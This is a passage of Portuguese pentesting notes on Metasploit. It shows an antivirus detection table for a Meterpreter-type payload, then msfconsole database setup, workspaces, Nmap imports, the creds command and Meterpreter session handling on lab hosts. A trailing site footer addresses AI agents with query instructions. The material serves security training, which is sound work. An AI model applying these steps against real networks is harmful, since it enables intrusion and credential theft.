 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           uma variante de Win32/Rozena.AA                            20220505
 Elastic               true      4.0.36                                                          malicioso (alta confiança)                                 20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     malware (ai score=89)                                      20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Static AI - PE malicioso                                   20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Bancos de dados:

{% hint style="info" %}
`Bancos de dados`são `msfconsole`usados para acompanhar seus resultados. Não é surpresa que, ao avaliar máquinas ainda mais complexas, muito menos redes inteiras, as coisas podem ficar um pouco nebulosas e complicadas devido à grande quantidade de resultados de pesquisa, pontos de entrada, problemas detectados, credenciais descobertas etc. É aí que os bancos de dados entram. `msfconsole` tem suporte integrado ao sistema de banco de dados PostgreSQL. Com ele, temos acesso direto, rápido e fácil aos resultados da análise, além da capacidade adicional de importar e exportar resultados em conjunto com ferramentas de terceiros. As entradas do banco de dados também podem ser usadas para configurar diretamente as definições do módulo Exploit com resultados já existentes.
{% endhint %}

### Configurando o banco de dados

Primeiro, precisamos garantir que o servidor PostgreSQL esteja em execução na nossa máquina anfitriã. Para isso, digite o seguinte comando:

**Status do PostgreSQL**

```bash
sudo service postgresql status
```

**Iniciar PostgreSQL**

```bash
sudo systemctl start postgresql
```

**Iniciar um banco de dados**

```bash
sudo msfdb init
```

**Conexão com o banco de dados iniciada**

```bash
sudo msfdb run
```

{% hint style="warning" %}
No entanto, se já configuramos o banco de dados e não conseguimos alterar a senha do usuário do MSF, prossiga com estes comandos:
{% endhint %}

**Redefinição do banco de dados**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Usando o banco de dados

```bash
help database

Comandos do backend do banco de dados
=========================

    Comando           Descrição
    -------           -----------
    db_connect        Conectar a um banco de dados existente
    db_disconnect     Desconectar da instância atual do banco de dados
    db_export         Exportar um arquivo contendo o conteúdo do banco de dados
    db_import         Importar um arquivo de resultado de varredura (o tipo de arquivo será detectado automaticamente)
    db_nmap           Executa o nmap e registra a saída automaticamente
    db_rebuild_cache  Reconstrói o cache do módulo armazenado no banco de dados
    db_status         Mostrar o status atual do banco de dados
    hosts             Lista todos os hosts no banco de dados
    loot              Lista todos os itens coletados no banco de dados
    notes             Lista todas as notas no banco de dados
    services          Lista todos os serviços no banco de dados
    vulns             Lista todas as vulnerabilidades no banco de dados
    workspace         Alterna entre espaços de trabalho do banco de dados
```

Depois de confirmar que o banco de dados está conectado corretamente, podemos organizar nossos `Espaços de trabalho`

#### Espaços de trabalho:

Podemos pensar em `Espaços de trabalho`da mesma forma que pensaríamos em arquivos de projeto. Podemos separar diferentes resultados de varredura, hosts e informações extraídas por IP, sub-rede, rede ou domínio.

```bash
workspace -a Target_1

[*] Espaço de trabalho adicionado: Target_1
[*] Espaço de trabalho: Target_1

msf6 > workspace Target_1

[*] Espaço de trabalho: Target_1

msf6 > workspace

  default
* Target_1
```

### Importando resultados de varredura

Em seguida, suponha que queremos importar um `scan do Nmap`arquivo de um host para o nosso espaço de trabalho do banco de dados para entender melhor o alvo

```bash
msf6 > db_import Target.xml

[*] Importando dados de 'Nmap XML'
[*] Importação: analisando com 'Nokogiri v1.10.9'
[*] Importando host 10.10.10.40
[*] Importado com sucesso ~/Target.xml

msf6 > hosts

Hosts
=====

endereço      mac  nome  nome_do_SO  variação_do_SO  sp_do_SO  finalidade  info  comentários
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Desconhecido                    dispositivo

msf6 > services

Serviços
========

host         porta   proto  nome          estado  info
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   aberto   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  aberto   Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP
10.10.10.40  49152  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         aberto   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         aberto   Microsoft Windows RPC
```

### Usando o Nmap dentro do MSFconsole

Alternativamente, podemos usar o Nmap diretamente do msfconsole! Para varrer diretamente do console sem precisar colocá-lo em segundo plano ou sair do processo, use o `db_nmap`comando.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Iniciando Nmap 7.80 ( https://nmap.org ) em 2020-08-17 21:04 UTC
[*] Nmap: Relatório de varredura para 10.10.10.8
[*] Nmap: Host está ativo (latência de 0.016s).
[*] Nmap: Não exibido: 999 portas filtradas
[*] Nmap: PORTA   ESTADO SERVIÇO VERSÃO
[*] Nmap: 80/TCP aberto  http    HttpFileServer httpd 2.3
[*] Nmap: Informações do serviço: SO: Windows; CPE: cpe:/o:microsoft:windows
```

### Backup de dados

Após o término da sessão, certifique-se de fazer backup dos seus dados caso algo aconteça com o serviço PostgreSQL. Para isso, use o `db_export`comando.

```bash
db_export -h

Uso:
    db_export -f <format> [filename]
    O formato pode ser um de: xml, pwdump
```

#### Hosts:

Os hosts também podem ser adicionados manualmente como entradas separadas nesta tabela. Depois de adicionar nossos hosts personalizados, também podemos organizar o formato e a estrutura da tabela, adicionar comentários, editar informações existentes e muito mais.

```bash
hosts -h

Uso: hosts [ options ] [addr1 addr2 ...]

OPÇÕES:
  -a,--add          Adicionar os hosts em vez de pesquisar
  -d,--delete       Excluir os hosts em vez de pesquisar
  -c <col1,col2>    Mostrar apenas as colunas informadas (veja a lista abaixo)
  -C <col1,col2>    Mostrar apenas as colunas informadas até a próxima reinicialização (veja a lista abaixo)
  -h,--help         Mostrar estas informações de ajuda
  -u,--up           Mostrar apenas hosts que estão ativos
  -o <file>         Enviar a saída para um arquivo no formato CSV
  -O <column>       Ordenar as linhas pelo número da coluna especificada
  -R,--rhosts       Definir RHOSTS com base nos resultados da pesquisa
  -S,--search       String de pesquisa para filtrar
  -i,--info         Alterar as informações de um host
  -n,--name         Alterar o nome de um host
  -m,--comment      Alterar o comentário de um host
  -t,--tag          Adicionar ou especificar uma tag para um intervalo de hosts
```

#### Serviços `serviços`comando funciona da mesma forma que o anterior. Ele contém uma tabela com descrições e informações sobre os serviços descobertos durante varreduras ou interações. Semelhante ao comando acima, as entradas aqui são altamente personalizáveis.

```bash
services -h

Uso: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Adicionar os serviços em vez de pesquisar
  -d,--delete       Excluir os serviços em vez de pesquisar
  -c <col1,col2>    Mostrar apenas as colunas informadas
  -h,--help         Mostrar estas informações de ajuda
  -s <name>         Nome do serviço a adicionar
  -p <port>         Pesquisar uma lista de portas
  -r <protocol>     Tipo de protocolo do serviço sendo adicionado [tcp|udp]
  -u,--up           Mostrar apenas serviços que estão ativos
  -o <file>         Enviar a saída para um arquivo em formato csv
  -O <column>       Ordenar as linhas pelo número da coluna especificada
  -R,--rhosts       Definir RHOSTS com base nos resultados da pesquisa
  -S,--search       String de pesquisa para filtrar
  -U,--update       Atualizar dados de um serviço existente
```

#### Informações de credenciais

O `creds`comando permite que você veja as credenciais coletadas durante suas interações com o host alvo. Também podemos adicionar credenciais manualmente, relacionar credenciais existentes com especificações de porta, adicionar descrições etc.

## Sessões:

### Sessões

> O MSFconsole pode gerenciar vários módulos ao mesmo tempo. Esse é um dos muitos motivos pelos quais ele oferece tanta flexibilidade ao usuário. Isso é feito por meio do uso de `Sessões`que cria interfaces de controle dedicadas para todos os módulos implantados.
>
> Depois que várias sessões são criadas, podemos alternar entre elas e vincular um módulo diferente a uma das sessões em segundo plano para executá-lo ou transformá-las em tarefas. Observe que, quando uma sessão é colocada em segundo plano, ela continuará em execução e nossa conexão com o host alvo persistirá. As sessões, no entanto, podem morrer se algo der errado أثناء a execução do payload, fazendo com que o canal de comunicação se rompa.

**Listando sessões ativas**

Podemos usar o `sessions`comando para ver nossas sessões atualmente ativas.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Sessões ativas
===============

  Id  Nome  Tipo                     Informações                 Conexão
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Interagindo com uma sessão**

Você pode usar o `sessions -i [no.]`comando para abrir uma sessão específica.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Iniciando interação com 1...

meterpreter >
```

### Todas as notas

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/3b690791258753afdd17e399fa06b95216b31a5c">/pages/3b690791258753afdd17e399fa06b95216b31a5c</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
